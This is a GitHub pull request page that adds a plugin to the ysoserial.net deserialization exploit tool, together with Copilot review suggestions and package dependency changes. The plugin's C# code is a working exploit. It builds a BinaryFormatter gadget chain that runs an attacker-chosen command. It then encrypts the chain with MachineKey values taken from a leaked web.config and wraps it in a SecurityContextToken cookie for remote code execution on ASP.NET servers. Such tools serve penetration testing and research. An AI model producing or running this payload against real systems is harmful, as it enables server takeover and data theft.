Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add MachineKeySessionSecurityTokenHandlerPlugin #172

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 146 additions & 0 deletions ysoserial/Plugins/MachineKeySessionSecurityTokenHandlerPlugin.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
using System.Collections.Generic;
using NDesk.Options;
using System;
using ysoserial.Generators;
using System.IdentityModel;
using System.IO;
using System.Xml;
using System.IdentityModel.Tokens;
using ysoserial.Helpers;
using System.IdentityModel.Services.Tokens;
using AspNetTicketBridge;

/**
* Author: L@2uR1te (@2308652512)
*
* Comments:
Copy link
Preview

Copilot AI Dec 2, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The word 'Comments:' should be 'Comment:'.

Suggested change
* Comments:
* Comment:

Copilot is powered by AI, so mistakes are possible. Review output carefully before use.

Positive Feedback
Negative Feedback

Provide additional feedback

Please help us improve GitHub Copilot by sharing more details about this comment.

Please select one or more of the options
* This plugin is based on the existing SessionSecurityTokenHandler plugin.
* See `MachineKeySessionSecurityTokenHandler`: https://learn.microsoft.com/zh-cn/dotnet/api/system.identitymodel.services.tokens.machinekeysessionsecuritytokenhandler?view=netframework-4.8.1
* This PoC uses BinaryFormatter from TypeConfuseDelegate
* The Ysoserial.net tool includes an exploit plugin for the SessionSecurityTokenHandler security issue. However, due to the fact that SessionSecurityTokenHandler employs DPAPI for encryption and decryption, it is often difficult to exploit in most cases.
* Nevertheless, Microsoft's documentation on SessionSecurityTokenHandler mentions that for web scenarios requiring a similar security mechanism, one can use the MachineKeySessionSecurityTokenHandler.
* This class inherits from SessionSecurityTokenHandler and shares similar characteristics. The key difference is that MachineKeySessionSecurityTokenHandler utilizes MachineKey configuration information for encryption and decryption operations.
* Therefore, as long as the MachineKey configuration information can be obtained (for instance, through a web.config leak), it may be possible to exploit it, making it more susceptible to exploitation compared to SessionSecurityTokenHandler.
* This PoC produces an error and may crash the application
**/

namespace ysoserial.Plugins
{
public class MachineKeySessionSecurityTokenHandlerPlugin : IPlugin
{
static string command = "";
static bool test = false;
static bool minify = false;
static bool useSimpleType = true;
static string validationKey = "";
static string decryptionKey = "";
static string validationAlg = "HMACSHA1";
static string decryptionAlg = "AES";
static string[] purposes = { "System.IdentityModel.Services.MachineKeyTransform" };

static OptionSet options = new OptionSet()
{
{"c|command=", "the command to be executed e.g. \"cmd /c calc\"", v => command = v },
{"t|test", "In this scenario, the test mode should not be applied, as the sink point relies on the web environment. Default: false", v => test = v != null },
{"minify", "Whether to minify the payloads where applicable (experimental). Default: false", v => minify = v != null },
{"ust|usesimpletype", "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true", v => useSimpleType = v != null },
{"vk|validationKey=", "Enter the validationKey from the web.config", v => validationKey = v },
{"ek|decryptionKey=", "Enter the decryptionKey from the web.config", v => decryptionKey = v },
{"va|validationAlg=", "Enter the validation from the web.config. Default: HMACSHA1. e.g: HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512", v => validationAlg = v },
{"da|decryptionAlg=", "Enter the validation from the web.config. Default: AES. e.g: AES/DES/3DES", v => decryptionAlg = v }
};

public string Name()
{
return "MachineKeySessionSecurityTokenHandler";
}

public string Description()
{
return "Generates XML payload for the MachineKeySessionSecurityTokenHandler class";
}

public string Credit()
{
return "L@2uR1te";
}

public OptionSet Options()
{
return options;
}

public object Run(string[] args)
{
InputArgs inputArgs = new InputArgs();
List<string> extra;
try
{
extra = options.Parse(args);
inputArgs.Cmd = command;
inputArgs.Minify = minify;
inputArgs.UseSimpleType = useSimpleType;
inputArgs.Test = test;
}
catch (OptionException e)
{
Console.Write("ysoserial: ");
Console.WriteLine(e.Message);
Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
System.Environment.Exit(-1);
}

string payload = @"<SecurityContextToken xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'>
<Identifier xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'>
urn:unique-id:securitycontext:1
</Identifier>
<Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>{0}</Cookie>
</SecurityContextToken>";

if (minify)
{
payload = XmlHelper.Minify(payload, null, null);
}

if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
{
Console.Write("ysoserial: ");
Console.WriteLine("Incorrect plugin mode/arguments combination");
Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
System.Environment.Exit(-1);
}

byte[] serializedData = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
DeflateCookieTransform myDeflateCookieTransform = new DeflateCookieTransform();
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
Copy link
Preview

Copilot AI Dec 2, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variables validationKey, decryptionKey, decryptionAlg, and validationAlg should be validated to ensure they are not empty or invalid before being used.

Suggested change
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
if (string.IsNullOrEmpty(validationKey) || string.IsNullOrEmpty(decryptionKey) || string.IsNullOrEmpty(decryptionAlg) || string.IsNullOrEmpty(validationAlg))
{
throw new ArgumentException("ValidationKey, DecryptionKey, DecryptionAlg, and ValidationAlg must not be empty.");
}
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);

Copilot is powered by AI, so mistakes are possible. Review output carefully before use.

Positive Feedback
Negative Feedback

Provide additional feedback

Please help us improve GitHub Copilot by sharing more details about this comment.

Please select one or more of the options
byte[] deflateEncoded = myDeflateCookieTransform.Encode(serializedData);
byte[] encryptedEncoded = Protector.Protect(deflateEncoded);
payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded));


if (minify)
{
payload = XmlHelper.Minify(payload, null, null);
}

if (test)
{
// PoC on how it works in practice
try
{
//In this scenario, the test mode should not be applied, as the sink point relies on the web environment.
//Please run the following code in a web environment configured with a MachineKey for experimentation.
XmlReader tokenXML = XmlReader.Create(new StringReader(payload));
MachineKeySessionSecurityTokenHandler myMachineKeySessionSecurityTokenHandler = new MachineKeySessionSecurityTokenHandler();
myMachineKeySessionSecurityTokenHandler.ReadToken(tokenXML);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

return payload;
}
}
}
29 changes: 29 additions & 0 deletions ysoserial/packages.config
Original file line number Diff line number Diff line change
@@ -1,15 +1,40 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="AspNetTicketBridge" version="1.6.0" targetFramework="net472" />
<package id="fastJSON" version="2.1.27" targetFramework="net452" />
<package id="FSharp.Core" version="3.1.2.5" targetFramework="net452" />
<package id="FsPickler" version="4.6" targetFramework="net452" />
<package id="FsPickler.CSharp" version="4.6" targetFramework="net452" />
<package id="FsPickler.Json" version="4.6" targetFramework="net452" />
<package id="MessagePack" version="2.5.94" targetFramework="net472" />
<package id="MessagePack.Annotations" version="2.5.94" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Authentication" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Authentication.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Authentication.Core" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Cryptography.Internal" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.DataProtection" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.DataProtection.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Hosting.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Hosting.Server.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Http" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Http.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Http.Extensions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.Http.Features" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.AspNetCore.WebUtilities" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Bcl.AsyncInterfaces" version="6.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.Configuration.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.DependencyInjection.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.FileProviders.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.Hosting.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.Logging.Abstractions" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.ObjectPool" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.Options" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.Primitives" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.Extensions.WebEncoders" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.IdentityModel" version="7.0.0" targetFramework="net452" />
<package id="Microsoft.Net.Http.Headers" version="2.0.0" targetFramework="net472" />
<package id="Microsoft.NET.StringTools" version="17.4.0" targetFramework="net472" />
<package id="Microsoft.Win32.Registry" version="4.4.0" targetFramework="net472" />
<package id="NDesk.Options" version="0.2.1" targetFramework="net452" />
<package id="Newtonsoft.Json" version="12.0.3" targetFramework="net452" />
<package id="SharpSerializer" version="3.0.1" targetFramework="net452" />
Expand All @@ -20,6 +45,10 @@
<package id="System.Reflection.Emit" version="4.7.0" targetFramework="net472" />
<package id="System.Reflection.Emit.Lightweight" version="4.7.0" targetFramework="net472" />
<package id="System.Runtime.CompilerServices.Unsafe" version="6.0.0" targetFramework="net472" />
<package id="System.Security.AccessControl" version="4.4.0" targetFramework="net472" />
<package id="System.Security.Cryptography.Xml" version="4.4.0" targetFramework="net472" />
<package id="System.Security.Principal.Windows" version="4.4.0" targetFramework="net472" />
<package id="System.Text.Encodings.Web" version="4.4.0" targetFramework="net472" />
<package id="System.Threading.Tasks.Extensions" version="4.5.4" targetFramework="net472" />
<package id="YamlDotNet" version="4.3.2" targetFramework="net452" />
</packages>
Loading
Loading